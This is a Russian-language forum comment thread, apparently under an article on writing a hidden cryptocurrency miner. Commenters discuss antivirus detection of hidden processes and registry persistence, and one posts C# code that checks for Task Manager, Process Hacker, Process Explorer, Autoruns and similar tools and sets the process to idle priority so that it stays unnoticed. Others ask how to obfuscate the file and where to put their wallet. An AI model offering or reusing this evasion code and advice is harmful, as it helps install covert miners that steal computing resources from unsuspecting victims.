Комментарии

это делается в 4 строки

 

Я тебе смогу помочь

 

Да ты топ бро

 

руководство форума! авторских статей нету? эта статья на добрых десатка форумов накопирована?

к сожалению крипторы не помогают.. идет детект в памяти (т.е. в момент запуска управляющего приложения) и прогу сносит.. вероятно детект идет при создании скрытого процесса, а также на добавлении проги в реестр..
хотелось бы видеть статью про Pe лоадер на ассемблере.. или нестандартными API функциями...

от себя могу добавить к коду:
проверка не только на taskmrg

if ((p.ProcessName == "taskmgr")
|| (p.ProcessName == "Taskmgr")
|| (p.ProcessName == "ProcessHacker")
|| (p.ProcessName == "Procexp")
|| (p.ProcessName == "Procexp32")
|| (p.ProcessName == "Procexp64")
|| (p.ProcessName == "Resmon")
|| (p.ProcessName == "Autoruns")
|| (p.ProcessName == "Procmon"))


а также процесс надо запускать с низким приоритетом, что бы не мешам другим прогам:

run.PriorityClass = ProcessPriorityClass.Idle;

 

Дату создания видел умник?

 

конечно видел...я тут пишу не в первый раз.. тока дельных комментариев нету...а только разумники вроде тебя тут лабуду разводят.

 

как протектить файл?

 

Годно, попробуем

 

куда вставлять свой кошелек?

 

У меня такой вопрос, как теперь такой майнер удалить? Если ты незнаешь где он находится.